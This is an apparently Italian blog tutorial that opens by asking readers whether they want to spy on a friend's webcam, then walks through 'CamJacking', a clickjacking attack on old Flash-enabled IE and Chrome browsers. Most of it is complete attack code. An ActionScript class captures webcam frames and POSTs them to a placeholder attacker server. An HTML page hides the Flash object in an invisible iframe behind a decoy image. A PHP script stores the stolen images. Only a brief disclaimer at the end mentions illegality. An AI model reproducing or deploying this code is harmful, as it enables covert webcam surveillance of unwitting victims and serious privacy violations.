camjackingVolete spiare la webcam del vostro amico?Bastano veramente poche conoscenze informatiche. Basta utilizzare il Clickjacking.

Permettetemi di aprire il post con questa frase:

“Quello che l’occhio vede la mente crede”

Si, è una frase che mi piace moltissimo, la ricorderete senz’altro nel film, Codice Swordfish. Ma qui si parla di realtà, infatti ora vi mostrerò come è possibile eludere antivirus, antimalware e molti altri software di protezione, solo con la curiosità.

Prima di iniziare vediamo cos’è il clickjacking.

Che cosè il Clickjacking

Il Clickjacking è un tecnica hacking, che si basa sul coprire o nascondere le azioni malevole da far fare all’utente, dietro una pagina di copertina apparentemente innoqua. Ad esempio, durante la navigazione web, l’utente viene spinto a cliccare con il mouse su un link o un’immagine innoqua, in realtà il click viene, a sua insaputa, effettuato su un altro oggetto nascosto sotto la pagina, che avvia azioni malevole.

Questo tipo di tecnica, sfrutta vulnerabilità Javascript, Css e iFrame. Il Clickjacking è stato rivelato per la prima volta nel settembre 2008 da Robert Hansen e Jeremiah Grossman.

Proof o Concept ( CamJacking )

Prendiamo il concetto di Clickjacking e portiamolo verso il linguaggio Flash e Webcam. Creeremo cosi una nuova tecnica chiamata CamJacking

Un ricercatore russo Egor Homakov ha scoperto questa vulnerabilità, che colpisce  IE e Chrome 27.0.1453.110. La tecnica si basa sull’opacita gestita da Flash nei browser vulnerabili.

Iniziamo con il creare il nostro Action Script in Flash.

package{
    import flash.display.BitmapData;
    import flash.display.Sprite;
    import flash.media.Camera;
    import flash.media.Video;
    import flash.net.*;
    import flash.utils.ByteArray;
    import flash.events.*;
    public class Main extends Sprite
    {   
        private var cam:Camera;
        private var video:Video;
        private var bitmapdata:BitmapData;
        private var ba:ByteArray;
        private var url:URLRequest = new URLRequest("http://ILVOSTROSERVER/uploadFoto.php");
        private var wclose:URLRequest = new URLRequest("javascript:alert('Camjacked? Ok. |fil9{06.2013}|');");
        private var loader : URLLoader = new URLLoader(); 
        public function Main():void {
            run();
        }
 
        private function run():void
        {
         cam = Camera.getCamera();
         if(cam != null){ //Если камера есть
             cam.addEventListener(ActivityEvent.ACTIVITY, activityHandler);
             video = new Video(640, 480);
             cam.setMode(640, 480, 60); //60 fps
             video.attachCamera(cam);
         }
            }
             private function activityHandler(event:ActivityEvent):void {  
            bitmapdata = new BitmapData(video.width, video.height);
            bitmapdata.draw(video);
            ba = PNGEncoder.encode(bitmapdata); //Adobe PNGEncoder
            url.method = URLRequestMethod.POST;
            url.data = ba;
            loader.addEventListener(Event.COMPLETE, on_complete); 
            loader.load(url);   
            function on_complete(e : Event):void {  
                navigateToURL(wclose, '_self');  
                }
            cam.removeEventListener(ActivityEvent.ACTIVITY, activityHandler);
            }
    }
}

Ora dobbiamo scaricare due software che ci vengono in aiuto per visualizzare delle immagini come copertina.

PngEncoder

FlashDevelop

Creiamo ora la pagina dove ci sarà il nostro file in flash. flash.html

<object width="270" height="270" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="camjack.swf" />
<embed width="270" height="270" type="application/x-shockwave-flash" src="camjack.swf" /></object>

 

Ora l’index.html

<script type="text/javascript">// < ![CDATA[
var exit=function(){document.location='about:blank'}; var tryimages=function(){
(document.getElementById('imgenabled').height==1&&document.getElementById('imgenabled').width==1)}; var load=function(){ //Chrome, Windows 7, Windows 8 
if((!tryimages()) || (navigator.userAgent.indexOf('Chrome') == -1)/* || ((navigator.userAgent.indexOf('Windows NT 6.1') == -1) & 
(navigator.userAgent.indexOf('Windows NT 6.2') == -1))*/)   { exit() }; //Windows 7 Chrome hack if(navigator.userAgent.indexOf('Windows NT 6.1') != -1){ //DIRTY HACK (Windows 7)  
setInterval("document.getElementById('ifr').height=1;document.getElementById('ifr').height=291",300); setInterval("document.getElementById('ifr').width=1;document.getElementById('ifr').width=291",350); 
setTimeout("document.getElementById('img').width=291",1000); 
setTimeout("document.getElementById('img').height=291",1070);
 }};
// ]]>
</script>
Camjacking simple example
<style><!--
iframe {    position: absolute;   opacity: 0.0;   z-index: 1; };
--></style>
<!-- PNG 1x1 --> <img id="imgenabled" style="display: none;" alt="" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAAAMSURBVBhXY/j//z8ABf4C/qc1gYQAAAAASUVORK5CYII=" /> 
<iframe id="ifr" src="./flash.html" height="290" width="290"></iframe> 
<img id="img" alt="" src="./img.jpg" width="290" height="290" />

Ora sta alla vostra fantasia trovare un’immagine grandezza 290×290 da usare come “trappola”. Una volta trovata rinominatela “img.jpg” e mettetela nella cartella del progetto.

Creiamo il nostro script che si occuperà di fare l’upload delle immagini della webcam nel nostro server.

Fate attenzione, è un file banale per mostrarvi l’esempio. Vi consiglio di scriverne uno con qualche accortezza di sicurezza in più.
upload.php

< ?php
$imgdata = file_get_contents('php://input');  //input raw POST data
$length = 10;
$randomString = substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, $length);
$imgname = "./images/".$randomString.".png";
if($imgdata){
file_put_contents($imgname, $imgdata);  //PHP5
};
?>

Disclaimer: Ovviamente non mi assumo la responsabilità delle vostre azioni con queste informazioni. Questa cosa se usata senza mettere a conoscenza a chi viene fatta è illegale.